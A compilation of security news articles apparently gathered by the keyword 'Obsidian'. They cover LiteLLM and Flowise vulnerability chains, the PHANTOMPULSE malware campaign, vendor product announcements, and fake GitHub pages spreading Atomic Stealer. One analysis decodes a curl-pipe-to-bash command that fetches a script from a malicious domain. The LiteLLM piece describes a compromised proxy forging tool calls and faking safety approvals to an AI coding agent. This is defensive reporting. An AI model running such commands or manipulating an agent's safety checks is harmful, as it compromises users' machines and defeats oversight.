obsidian

A default low-privilege account on a LiteLLM proxy can climb to full admin and run code on the server by chaining three vulnerabilities, researchers at Obsidian Security disclosed LiteLLM is a widely deployed open-source AI gateway that brokers calls to more than 100 model providers behind one OpenAI-compatible interface. A server takeover exposes every provider key it holds, the secrets that decrypt its stored credentials, and every prompt and response passing through it. Obsidian rates the full chain CVSS 9.9, in the Critical range. BerriAI, the maintainer, included the complete fix set in LiteLLM v1.83.14-stable, which GitHub lists as released May 2. Upgrade to that release or later to close the three-CVE chain. The three bugs The first link is CVE-2026-47101, an authorization bypass. When a regular user (an internal_user) generates a virtual API key, LiteLLM stores the caller-supplied allowed_routes field without checking it against the user's role. The field is supposed to narrow what a key can do. Instead, the proxy also treats it as a fallback grant, so a non-admin can mint a key with allowed_routes: ["/*"], a wildcard that reaches every route, including admin-only ones. The same unchecked write shows up on the other key-management endpoints, which is why the fix took three pull requests to land. With the route gate bypassed, the handlers behind it become reachable. Several of them assume the gate has already done the screening, which opens two paths. One is CVE-2026-47102, privilege escalation. The /user/update endpoint lets a user edit their own record, but does not restrict which fields they can write. A self-update with user_role: "proxy_admin" is accepted and saved, promoting the caller to full proxy admin. An org_admin can hit this endpoint through a legitimate, intended code path with no bypass required; a default internal_user reaches it after CVE-2026-47101. VulnCheck, which assigned the CVE, scores it 8.7 under CVSS 4.0, 8.8 under 3.1. The other is CVE-2026-40217, a sandbox escape in the Custom Code Guardrail, which compiles and runs admin-supplied Python. The production endpoints ran the code through exec() with no source-level filtering. When exec() gets a globals dict without builtins, Python silently injects the full builtins module, which hands the code import, open, and eval. A plain payload calling os.system was then enough for a reverse shell. A separate path on the /guardrails/test_custom_code playground endpoint, found independently by X41 D-Sec, defeated a regex deny-list through runtime bytecode rewriting. Both ended in server-side code execution. What an attacker gets LiteLLM sits at a chokepoint, so the reach is wide. A full chain exposes the master key, the salt key that decrypts stored credentials, and the database URL. It also exposes every configured provider key, for OpenAI, Anthropic, Gemini, Bedrock, Azure, and the rest. Keys in config or environment are plaintext; keys in the database are encrypted but recoverable with the salt key. Everything sent through the gateway, prompts and responses, becomes readable, which in real deployments is where PII, source code, internal tickets, and pasted secrets end up. If the proxy also runs as a Model Context Protocol (MCP) or agent gateway, OAuth tokens and tool credentials are in scope too. The sharper risk is not what an attacker reads but what they can rewrite. The gateway sits on the wire between an AI agent and the model, so a compromise lets it alter responses in transit. Obsidian demonstrated this against Claude Code routed through a compromised proxy. This is not prompt injection. Instead of persuading the model to misbehave, the attacker uses LiteLLM's built-in callback mechanism, an extension point that fires on every request and never shows up in the admin UI. The callback swaps the model's response for a forged tool call and rewrites the safety-check context so the action reads as approved. In the demo, the developer types one word, hello, and the attacker pops a reverse shell on the developer's machine. Separate from the chain, LiteLLM hands a proxy_admin an intentional code-execution path: its MCP support lets an admin register stdio MCP servers that the proxy launches as local subprocesses. That is a design trade-off rather than a bug, and the patches do not change it, so reaching admin is effectively reaching code execution. Obsidian reproduced a reverse shell this way on v1.88.0. A genuine bug in the same stdio-MCP machinery, CVE-2026-42271, let callers spawn subprocesses through LiteLLM's MCP preview endpoints; it was exploited in the wild and added to CISA's KEV catalog earlier this month. None of this is LiteLLM's first rough stretch this year. In March, a supply-chain compromise backdoored two LiteLLM releases on PyPI, and in April, a critical SQL injection was exploited within 36 hours of disclosure. Obsidian frames the chain here as a disclosed flaw with a working demo, not as exploitation seen in the wild, but the proxy's position keeps making it a target. What to do Upgrade to v1.83.14-stable or later, the first release with the full fix set. Then audit. Re-verify every account holding proxy_admin and treat that role as host-level access. Review every Custom Code Guardrail on the proxy. Check the callbacks loaded from config.yaml under litellm_settings.callbacks, since those never appear in the console and are exactly where a post-RCE attacker would hide. Verify the integrity of the deployed code, not just the config. If exposure is suspected, rotate provider keys, database credentials, and any stored MCP tokens. A compromised proxy does not just leak data. It sits between the agent and the model and can forge the responses that the agent acts on. The chain that gets an attacker there is misplaced trust at every layer: the route gate trusted the caller-supplied field, the handlers trusted the route gate, and nobody actually checked.

A critical flaw in the open-source AI platform Flowise has been disclosed, along with working proof-of-concept (PoC) code, allowing an attacker to take over a server when a logged-in user simply imports a malicious workflow file. According to new analysis from Obsidian Security, the bug, tracked as CVE-2026-40933, affects Flowise, a widely used platform for building large language model (LLM) workflows and AI agents with more than 52,000 GitHub stars. Self-hosted deployments are vulnerable by default, while the managed Flowise Cloud service is not affected. The finding builds on the firm's earlier research into a similar remote code execution (RCE) flaw in Langflow, another open-source AI platform. Obsidian released a PoC exploit with its disclosure and warned that the official fix can be circumvented, leaving the latest release exposed. Custom MCP Tool Spawns Server Commands The weakness lies in Flowise's Custom MCP tool, a feature that lets users wire external services into the Model Context Protocol (MCP). When set to the stdio transport, the tool launches a user-supplied command as a child process on the Flowise server, with no sandbox around it. Because Flowise lets users export and share these workflows, known as chatflows, an attacker can hide a malicious command inside one. Obsidian found that merely importing such a chatflow is enough to run the command, since the editor automatically queries the configured server as the workflow loads onto the canvas. No save, run or approval step is needed before the code executes. A Patch That Can Be Bypassed Flowise answered the disclosure with an input-validation layer that allow lists permitted commands and blocks risky arguments. However, Obsidian said this treats the symptom rather than the cause, because the feature is built to execute code and an attacker can still express malicious behavior inside the allowed input. The upshot is that self-hosted installations, both open-source and enterprise, stay vulnerable by default even on the current version. Obsidian argued that stdio MCP should be switched off unless it is explicitly needed, rather than left running behind validation checks that can be worked around. The most effective protection is to disable the stdio transport by switching Flowise's Custom MCP protocol to Server-Sent Events (SSE), which removes the execution path entirely. Teams that rely on the feature were urged to treat any imported MCP configuration as code, restrict it to trusted sources and avoid loading shared chatflows from unknown origins.

A "novel" social engineering campaign has been observed abusing Obsidian, a cross-platform note-taking application, as an initial access vector to distribute a previously undocumented Windows remote access trojan called PHANTOMPULSE in attacks targeting individuals in the financial and cryptocurrency sectors. Dubbed REF6598 by Elastic Security Labs, the activity has been found to leverage elaborate social engineering tactics through LinkedIn and Telegram to breach both Windows and macOS systems, approaching prospective individuals on the professional social network under the guise of a venture capital firm and then moving the conversation to a Telegram group where several purported partners are present. The Telegram group chat is engineered to lend the operation a smidgen of credibility, with the members discussing topics related to financial services and cryptocurrency liquidity solutions. The target is then instructed to use Obsidian to access what appears to be a shared dashboard by connecting to a cloud-hosted vault using the credentials provided to them. It's this vault that triggers the infection sequence. As soon as the vault is opened in the note-taking application, the target is asked to enable "Installed community plugins" sync, effectively causing malicious code to be executed. "The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the Shell Commands and Hider plugins, to silently execute code when a victim opens a shared cloud vault," researchers Salim Bitam, Samir Bousseaden, and Daniel Stepanic said in a technical breakdown of the campaign. Given that the option is disabled by default and cannot be remotely turned on, the attacker must convince the target to manually toggle the community plugin sync on their device so that the malicious vault configuration can trigger the execution of commands through the Shell Commands plugin. Also used in conjunction with Shell Commands is another plugin named Hider to hide certain user interface elements of Obsidian, such as status bar, scrollbar, tooltips, and others. "While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV [antivirus] signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer," the researchers said. Dedicated execution paths are activated depending on the operating system. On Windows, the commands are used to invoke a PowerShell script to drop an intermediate loader codenamed PHANTOMPULL that decrypts and launches PHANTOMPULSE in memory. PHANTOMPULSE is an artificial intelligence (AI)-generated backdoor that uses the Ethereum blockchain for resolving its command-and-control (C2) server by fetching the latest transaction associated with a hard-coded wallet address. Upon obtaining the C2 address, the malware uses WinHTTP for communications, allowing it to send system telemetry data, fetch commands and transmit the execution results, upload files or screenshots, and capture keystrokes. The supported commands are designed to facilitate comprehensive remote access - inject, to inject shellcode/DLL/EXE into target process drop, to drop a file to disk and execute it screenshot, to capture and upload a screenshot keylog, to start/stop a keylogger uninstall, to initiate removal of persistence and perform cleanup elevate, to escalate privileges to SYSTEM via the COM elevation moniker downgrade, to transition from SYSTEM to elevated admin On macOS, the Shell Commands plugin delivers an obfuscated AppleScript dropper that iterates over a hard-coded domain list, while employing Telegram as a dead drop resolver for fallback C2 resolution. This approach also offers added flexibility as it makes it possible to easily rotate C2 infrastructure, rendering domain-based blocking insufficient. In the final step, the dropper script contacts the C2 domain to download and execute a second-stage payload via osascript. The exact nature of this payload remains unknown given that the C2 servers are currently offline. The intrusion was ultimately unsuccessful, as the attack was detected and blocked before the adversary could accomplish their goals on the infected machine. "REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering," Elastic said. "By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code." Update In a follow-up analysis published on May 22, 2026, Elastic said PHANTOMPULSE implements three injection techniques, with the "inject" command routing shellcode to PhantomInject, DLLs to ManualMap, and EXEs to DbgNexum - all adapted from legitimate proof-of-concept (PoC) exploit code. "The blockchain C2 resolver has no sender verification, allowing a defender to override the C2 URL for every implant by posting a single transaction," Elastic said. "PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching."

New infosec products of the month: January 2026 Here’s a look at the most interesting products from the past month, featuring releases from Acronis, Booz Allen Hamilton, cside, Descope, JumpCloud, MIND, Noction, Obsidian Security, Rubrik, SEON, SpyCloud, Tenable, Tosi and Vectra AI. Acronis Archival Storage brings compliance-ready, S3-compatible cold storage to MSPs Acronis announced the launch of Acronis Archival Storage, a long-term, compliant, and cost-efficient data storage and protection solution designed for Managed Service Providers (MSPs) and their small-to-medium business (SMBs) customers. With Acronis Archival Storage, users can retain large amounts of data securely, affordably, and with fast accessibility when it matters most. JumpCloud introduces AI features to govern shadow AI and autonomous agents JumpCloud is unveiling new AI capabilities to fuel safe innovation. Organizations can leverage JumpCloud’s platform to accelerate AI adoption. They can ensure compliance and control for all types of identity, human, non-human, and autonomous agents. Noction adds automatic anomaly detection to IRP v4.3 for faster DDoS mitigation Noction has released Noction Intelligent Routing Platform (IRP) v4.3, delivering new capabilities in automated DDoS detection, routing safety, and operational control for modern IP networks. A key highlight of IRP v4.3 is the introduction of Automatic Anomaly Detection (AAD), a new capability designed to identify abnormal traffic behavior and mitigate threats directly at the network edge. SpyCloud launches Supply Chain Threat Protection to expose vendor identity risk SpyCloud has released Supply Chain Threat Protection solution, an advanced layer of defense that expands identity threat protection across the extended workforce, including organizations’ entire vendor ecosystems. SpyCloud Supply Chain Threat Protection provides timely access to identity threats derived from billions of recaptured breach, malware, phished, and combolist data assets, empowering organizations, from enterprise security teams to public sector agencies, to act on credible threats rather than simply observe and accept risk. cside targets hidden website privacy violations with Privacy Watch cside announced the launch of Privacy Watch. The platform prevents website privacy violations on the client-side, a risk surface that is traditionally unmonitored. To help organizations automate compliance with regulations like GDPR, CPRA, and HIPAA, Privacy Watch deploys AI for continuous website risk monitoring, evidence logs, and regulation-specific reports. Obsidian Security unveils end-to-end SaaS supply chain security to stop integration-led breaches Obsidian Security is launching a new solution that secures the SaaS supply chain across its full lifecycle, bringing together integration risk visibility, proactive prevention, early breach detection and impact forensics, all in a single, unified platform. Rubrik introduces Security Cloud Sovereign for data sovereignty and regulatory compliance Rubrik announced Rubrik Security Cloud Sovereign, an offering that gives global organizations control over their data to support national security and operational continuity. Rubrik Security Cloud Sovereign gives customers the ability to maintain control over where data resides and who has access to it as regulations change. SEON Identity Verification combines KYC checks with real-time fraud intelligence SEON has unveiled the launch of its AI-powered Identity Verification solution, bringing ID verification, liveness detection and proof of address checks into its unified risk platform. The solution supports identity document verification for global government-issued IDs, biometric liveness checks, proof of address verification and optional government database checks. Vectra AI helps organizations prevent AI-powered cyberattacks Vectra AI’s next-generation platform introduces three distinct enhancements, each designed to deliver a specific outcome across the AI attack lifecycle: preemptive security to reduce exposure, proactive defense to stop attacks as they start, and accelerated response to contain attacks while they are in motion. Booz Allen’s Vellox Reverser accelerates malware analysis and threat intelligence Booz Allen Hamilton announced the general availability of Vellox Reverser, a malware reverse engineering and threat intelligence product designed to accelerate cyber defense. Built with a resilient agentic AI architecture, Vellox Reverser automates time-intensive in-depth malware analysis of the most complex and evasive threats. Descope introduces dedicated identity infrastructure for AI agents and MCP ecosystems Descope has updated its Agentic Identity Hub to provide MCP developers and AI agent builders with standards-based identity infrastructure for their AI systems. Organizations can now use Descope to manage AI agents as first-class identities alongside human users, add OAuth 2.1 and tool-level scopes to their internal and external MCP servers, and govern agent access to MCP servers with enterprise-grade policy enforcement. Dedicated agentic identity management (Source: Descope) Tenable One AI Exposure delivers unified visibility and governance across AI, cloud and SaaS Tenable announced general availability of Tenable One AI Exposure. With this release, the Tenable One Exposure Management Platform unifies AI protection, discovery and usage governance across the enterprise, including SaaS platforms, cloud services, APIs and agents. MIND DLP for Agentic AI protects sensitive data and controls AI access MIND announced DLP for Agentic AI, a data-centric approach to AI security designed to help organizations safely achieve the business value of agentic AI by ensuring sensitive data and AI systems interact safely and responsibly. Tosi Platform delivers unified connectivity, visibility, and security for OT at scale Tosi customers worldwide gain access to the Tosi Platform, which unifies connectivity, visibility, and security across operational technology environments in every industry, regardless of size or complexity. At the heart of the platform is Tosi Control, a cloud-based console that enables OT and security teams to connect remote sites, monitor critical assets, and manage access, all in real time and without requiring extensive IT resources.

New infosec products of the week: January 23, 2026 Here’s a look at the most interesting products from the past week, featuring releases from cside, Obsidian Security, Rubrik, SEON, and Vectra AI. cside targets hidden website privacy violations with Privacy Watch cside announced the launch of Privacy Watch. The platform prevents website privacy violations on the client-side, a risk surface that is traditionally unmonitored. To help organizations automate compliance with regulations like GDPR, CPRA, and HIPAA, Privacy Watch deploys AI for continuous website risk monitoring, evidence logs, and regulation-specific reports. Obsidian Security unveils end-to-end SaaS supply chain security to stop integration-led breaches Obsidian Security is launching a new solution that secures the SaaS supply chain across its full lifecycle, bringing together integration risk visibility, proactive prevention, early breach detection and impact forensics, all in a single, unified platform. Rubrik introduces Security Cloud Sovereign for data sovereignty and regulatory compliance Rubrik announced Rubrik Security Cloud Sovereign, an offering that gives global organizations control over their data to support national security and operational continuity. Rubrik Security Cloud Sovereign gives customers the ability to maintain control over where data resides and who has access to it as regulations change. SEON Identity Verification combines KYC checks with real-time fraud intelligence SEON has unveiled the launch of its AI-powered Identity Verification solution, bringing ID verification, liveness detection and proof of address checks into its unified risk platform. The solution supports identity document verification for global government-issued IDs, biometric liveness checks, proof of address verification and optional government database checks. Vectra AI helps organizations prevent AI-powered cyberattacks Vectra AI’s next-generation platform introduces three distinct enhancements, each designed to deliver a specific outcome across the AI attack lifecycle: preemptive security to reduce exposure, proactive defense to stop attacks as they start, and accelerated response to contain attacks while they are in motion.

Obsidian Security unveils end-to-end SaaS supply chain security to stop integration-led breaches Obsidian Security announced end-to-end SaaS supply chain security solution, empowering organizations to monitor, control and contain the security risk hiding inside interconnected SaaS ecosystems. Companies depend on hundreds of SaaS applications to operate their business. The security threat posed by these interconnected SaaS applications is growing exponentially with major breaches like the Salesloft-Drift Supply Chain attack that impacted over 700 organizations last year. Obsidian Security is launching a new solution that secures the SaaS supply chain across its full lifecycle, bringing together integration risk visibility, proactive prevention, early breach detection and impact forensics, all in a single, unified platform. “When a SaaS vendor or integration is compromised, SOC teams typically learn of these incidents through delayed vendor disclosures,” said Joseph Gothelf, VP, Cybersecurity, Wyndham Hotels and Resorts. “In the absence of continuous visibility into the entire SaaS ecosystem, especially unauthorized activity between SaaS applications, we are looking at a huge data breach waiting to happen. The new end-to-end SaaS Supply Chain security capabilities from Obsidian are a much-needed solution to an emerging risk most organizations are unprepared for.” “We need continuous, deep visibility into our entire SaaS ecosystem, including the known and particularly the ‘shadow’ integrations moving data between apps. Obsidian’s end-to-end SaaS Supply Chain security provides the proactive visibility organizations need to stay ahead of these emerging threats and help ensure our digital infrastructure remains resilient,” said Grace Liu, SVP and CIO, Seagate Technology. SaaS environments are interconnected through OAuth grants, API keys, automation platforms, and increasingly, autonomous AI agents embedded across business workflows. Every integration extends trust, often far beyond what security teams can easily see. When even one SaaS app, integration or AI agent is compromised, that risk can propagate across the entire environment, turning a single weak link into broad data exposure. Current security and compliance tools focus on network security, endpoint agents or identity providers and rely on point-in-time assessments that don’t account for permission drift, expanding scopes, or how integration activity changes over time. This is where Obsidian Security has been a market leader offering the unique capability to continuously discover SaaS-to-SaaS integrations unlike any of its competitors. Obsidian expands into the next phase of SaaS supply chain defence, delivering three new capabilities: Full visibility into SaaS integration risk: Compared to endpoint or human to SaaS vendors, Obsidian unifies identity, permissions, OAuth scopes and activity data into a single coherent model, allowing organizations to not only see what an app can access but how it behaves across users, geographies and services. With this clarity, teams can quickly identify risky or inactive integrations, prioritize integrations in order of criticality, and safely take action like revoking access or blocking integrations before they are abused. Organizations can now reduce exposure at the source by identifying and restricting which users are able to grant and authorize new SaaS integrations, enforcing least privilege and limiting the introduction of risky connections before they spread. Early detection and mitigation of SaaS supply chain compromise: Powered by the Obsidian Knowledge Graph and threat intelligence drawn from proprietary research and real-world incident response across our customer base, Obsidian extends its network effects to SaaS integrations, enriching detection with shared intelligence on the IP addresses used by integrations today and soon baselining normal versus suspicious data movement across SaaS environments. By baselining normal behavior across identities, APIs and integrations, Obsidian surfaces attacks in real time, exposing abuse that traditional tools miss. Rapid breach containment and remediation: Obsidian introduces customized supply chain breach notifications tailored to each customer’s SaaS environment. When an integration is implicated in an incident, teams receive clear impact summaries showing affected tenants, downstream exposure, and suspicious activity tied directly to their data and applications. Security teams can quickly see what was accessed, contain exposure before it spreads, and remediate with confidence, dramatically reducing time to resolution without unnecessary disruption. “SaaS environments were never designed to operate as sprawling supply chains of automated integrations and AI agents,” said Hasan Imam, Chief Executive Officer, Obsidian Security. “What started as simple app connections have become critical business pathways and attackers are exploiting that trust. As AI agents gain autonomous access and link multiple SaaS applications together, the blast radius of a single compromised integration grows exponentially. With the new SaaS-to-SaaS security capabilities, we are deepening our commitment to help customers innovate with speed and agility without sacrificing security.”

Fake versions of legitimate software are currently circulating on GitHub pages, in a large-scale campaign targeting Mac users. Unfortunately, Malwarebytes for Mac is one of them. Impersonating brands is sadly commonplace, as scammers take advantage of established brand names to target their victims. So this is nothing new, but we always want to warn you about it when we see it happening. In this case, the cybercriminals’ goal is to distribute information stealers. They figured out a while ago that the easiest way to infect Macs is to get users to install the malware themselves, and the Atomic Stealer (aka AMOS) is the go-to information stealer for Macs. The LastPass Threat Intelligence team has posted information about the campaign, which follows a similar pattern for all the impersonated software. Sometimes, the starting point is a sponsored Google ad (did we mention we don’t like them? Oh yes, we did!) that points to GitHub instead of the official page of the developer. But in other, less obvious cases, you may see search results like these: These only came up at the top of the search results when I explicitly searched for “Malwarebytes Github MacOS”, but the cybercriminals are known to have used Search Engine Optimization (SEO) techniques to get their listings higher in the search results. The idea is to get the aspiring user to click on the “GET MALWAREBYTES” button on the dedicated GitHub page. If someone does click that button, they will end up on a download page with instructions on how to install the fake product, which is actually an information stealer. The terminal installation instructions for Malwarebytes for Mac pointed to a recently registered domain, but thankfully our Browser Guard blocked it anyway. Here’s a technical breakdown of the instructions provided to the visitor: /bin/bash -c " " runs a command using the Bash shell on macOS or Linux. Bash is the interpreter for shell commands. The part in quotes uses $( ... ) . Everything inside this gets executed first; its output becomes part of the outer command. $(echo aHR0cHM6Ly9nb3NyZWVzdHIuY29tL2h1bi9pbnN0YWxsLnNo | base64 -d) echo ... | base64 -d decodes the long string. curl -fsSLis a command to download data from the web. The options mean: - -f: Fail silently for HTTP errors.-s: Silent mode (no progress bar).-S: Show errors if -s is used. - -L: Follow redirects. So, putting all this together: The inner command turns into: curl -fsSL https://gosreestr[.]com/hun/install.sh The outer command becomes: /bin/bash -c "$(curl -fsSL https://gosreestr[.]com/hun/install.sh)" So, the complete command tells the system to download a script directly from an external server and immediately execute it using Bash. This is dangerous for the user on many levels. Because there is no prompt or review, the user does not get a chance to see or assess what the downloaded script will do before it runs. It bypasses security because of the use of the command line, it can bypass normal file download protections and execute anything the attacker wants. The files to download have already been taken down, but users that recognize this chain of infection are under advice to thoroughly check their machines for an infection. Impersonated software besides Malwarebytes and LastPass included: 1Password ActiveCampaign After Effects Audacity Auphonic Basecamp BetterSnapTool Biteable Bitpanda Bitsgap Blog2Social Blue Wallet Bonkbot Carbon Copy Cloner Charles Schwab Citibank CMC Markets Confluence Coolors DaVinci Resolve DefiLlama Desktop Clockology Desygner Docker Dropbox E-TRADE EigenLayer Fidelity Fliki Freqtrade Bot Freshworks Gemini GMGN AI Gunbot Hemingway Editor HeyGen Hootsuite HTX Hypertracker IRS KeyBank Lightstream Loopback Maestro Bot Melon Metatrader 5 Metricool Mixpanel Mp3tag Mural NFT Creator NotchNook Notion Obsidian Onlypult Pendle Finance Pepperstone Pipedrive Plus500 Privnote ProWritingAid Publer Raycast Reaper RecurPost Renderforest Rippling Riverside.fm Robinhood Rug AI Sage Intacct Salesloft SentinelOne Shippo Shopify SocialPilot Soundtrap StreamYard SurferSEO Thunderbird TweetDeck Uphold Veeva CRM Viraltag VSCO Vyond Webull Xai Games XSplit Zealy Zencastr Zenefits Zotero But it’s highly likely that there will be more, so don’t see this as an exhaustive list. How to stay safe Both ThreatDown and Malwarebytes for Mac detect and block this Atomic Stealer variant and many others, but it’s better to not download it at all. There are a few golden guidelines on how to stay safe: Never run copy-pasted commands from random pages or forums even if they are on seemingly legitimate GitHub pages, and especially don’t use any that involve curl … | bash or similar combos. Always download software from the official developer pages. If they do not host it themselves, verify the download links with them. Avoid sponsored search results. At best they cost the company you looked for money and at worst you fall prey to imposters. Use real-time anti-malware protection, preferably one that includes a web protection component. If you have scanned your Mac and found the information stealer: Remove any suspicious login items, LaunchAgents, or LaunchDaemons from the Library folders to ensure the malware does not persist after reboot. If any signs of persistent backdoor or unusual activity remain, strongly consider a full clean reinstall of macOS to ensure all malware components are eradicated. Only restore files from known clean backups. Do not reuse backups or Time Machine images that may be tainted by the infostealer. After reinstalling, check for additional rogue extensions, crypto wallet apps, and system modifications. Change all the passwords that were stored on the affected system and enable multi-factor authentication for your important accounts. If all this sounds too difficult for you to do yourself, ask someone or a company you trust to help you—our support team are happy to assist you if you have any concerns. Let’s face it, an incognito window can only do so much. Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.

Obsidian governs AI agent access in SaaS environments Obsidian Security has launched a SaaS AI agent defense, providing enterprises with a purpose-built solution to govern how AI agents access data in SaaS environments. With SaaS now one of the most targeted layers of the enterprise stack, Obsidian is closing the enterprise AI agent-to-SaaS blindspot, where unmanaged agentic AI integrations and excessive privileges can create cascading risk. In the recent Salesforce attack (UNC6040), threat actors used voice phishing campaigns to obtain initial access and run bulk API queries for large-scale data theft and extortion. The Salesloft Salesforce supply chain breach (UNC6395) illustrated the fragility of SaaS-to-SaaS integrations where one compromised chatbot integration expanded into unauthorized access across Salesforce and downstream applications, including Google Workspace, Slack, Amazon S3, Microsoft Azure and other services at hundreds of enterprises. The rise of AI agents and its adoption further escalates the SaaS security challenge. Low-code and no-code platforms like Microsoft Copilot Studio, ChatGPT Enterprise, Salesforce Agentforce and n8n let any employee build and deploy agents that act inside SaaS applications, chaining tasks, querying data, and executing decisions autonomously without oversight. These agents often carry broad privileges, long-lasting tokens and move sensitive business data at machine speed. If compromised, they can leak data, escalate access and move laterally across connected SaaS applications, causing widespread damage. “The AI agent shift is well underway, and we’re seeing the risks firsthand as we help our customers scale adoption securely,” said Hasan Imam, CEO at Obsidian. “87% of enterprises have Microsoft Copilot enabled, more than half the agents access sensitive data, 90% are over-permissioned, and move 16 times more data than humans accessing SaaS applications. These risks are not theoretical, they’re active risks inside enterprises today, often without their awareness.” Security tools lack visibility into machine-driven activity, cannot contextualize underlying privileges and are unable to enforce controls at the speed and scale of autonomous agents. “The difference between a major intrusion and successful containment comes down to speed,” said Sunil Seshadri, EVP and CSO at HealthEquity. “Most security teams already struggle to react to incidents fast enough and AI agents raise the stakes even higher. They can trigger workflows across multiple SaaS apps in seconds, often without anyone noticing until damage is done. Obsidian flips that dynamic by detecting issues in near real-time, faster than most security tools are able to, giving teams the chance to shut them down before they spiral out of control.” Protecting SaaS environments from AI agent risks Obsidian is uniquely positioned to address the security risks created by autonomous AI agents in SaaS environments. At its core is the SaaS threat dataset repository, over 500 curated real-world threat intelligence, enriched with browser-based activity capture and deep SaaS and AI integrations. This intelligence powers the Obsidian Knowledge Graph, a continuously learning model that unifies user and agent activity, identity privileges, and workflows across SaaS and SaaS managed agentic AI platforms into a single correlated view. This live map gives security teams real-time visibility and context to govern agentic AI usage and stop unauthorized agents and behavior inside SaaS environments, where risks emerge and propagate. “In customer deployments, our continuously learning Knowledge Graph revealed that AI agents in SaaS environments were typically granted ten times more permissions than needed when mapped against real user privileges and entitlements, visibility only Obsidian can deliver,” said Khanh Tran, CPO at Obsidian. “By connecting popular AI platforms like Microsoft Copilot Studio, n8n, Salesforce Agentforce, and ChatGPT Enterprise with the Obsidian Knowledge Graph, security teams can finally see what agents are doing in SaaS. That intel means they can stop risks before they spread and empower users to innovate faster without sacrificing security or governance.” This product release is enabling enterprises securely scale AI agent development. Key capabilities in the latest release include: Visibility and access cleanup: Get a live inventory of every AI agent, including its privileges, SaaS connections, and actions, to eliminate excessive or risky access and enable full lifecycle oversight. Continuous observability and compliance: Map AI agent access across SaaS and trace it to the data touched, with correlated audit trails that link entitlements directly to actions. Prevent misuse and privilege escalation: Detect and block agents attempting to exploit trust chains, misuse access, or escalate privileges before damage cascades across SaaS environments.

LastPass is warning of an ongoing, widespread information stealer campaign targeting Apple macOS users through fake GitHub repositories that distribute malware-laced programs masquerading as legitimate tools. "In the case of LastPass, the fraudulent repositories redirected potential victims to a repository that downloads the Atomic infostealer malware," researchers Alex Cox, Mike Kosak, and Stephanie Schneider from the LastPass Threat Intelligence, Mitigation, and Escalation (TIME) team said. Beyond LastPass, some of the popular tools impersonated in the campaign include 1Password, Basecamp, Dropbox, Gemini, Hootsuite, Notion, Obsidian, Robinhood, Salesloft, SentinelOne, Shopify, Thunderbird, and TweetDeck, among others. All the GiHub repositories are designed to target macOS systems. The attacks involve the use of Search Engine Optimization (SEO) poisoning to push links to malicious GitHub sites on top of search results on Bing and Google, which then instruct users to download the program by clicking the "Install LastPass on MacBook" button, redirecting them a GitHub page domain. "The GitHub pages appear to be created by multiple GitHub usernames to get around takedowns," LastPass said. The GitHub page is designed to take the user to another domain that provides ClickFix-style instructions to copy and execute a command on the Terminal app, resulting in the deployment of the Atomic Stealer malware. It's worth noting similar campaigns have been previously leveraged malicious sponsored Google Ads for Homebrew to distribute a multi-stage dropper through a bogus GitHub repository that can run detect virtual machines or analysis environments, and decode and execute system commands to establish connection with a remote server, per security researcher Dhiraj Mishra. In recent weeks, threat actors have been spotted leveraging public GitHub repositories to host malicious payloads and distribute them via Amadey, as well as employ dangling commits corresponding to an official GitHub repository to redirect unwitting users to malicious programs. Update Malwarebytes, in a follow-up report published on September 23, 2025, said the campaign has also employed GitHub repositories to host fake versions of its own software to target Mac users with the Atomic Stealer malware. "Impersonating brands is sadly commonplace, as scammers take advantage of established brand names to target their victims," the company said. "In this case, the cybercriminals' goal is to distribute information stealers."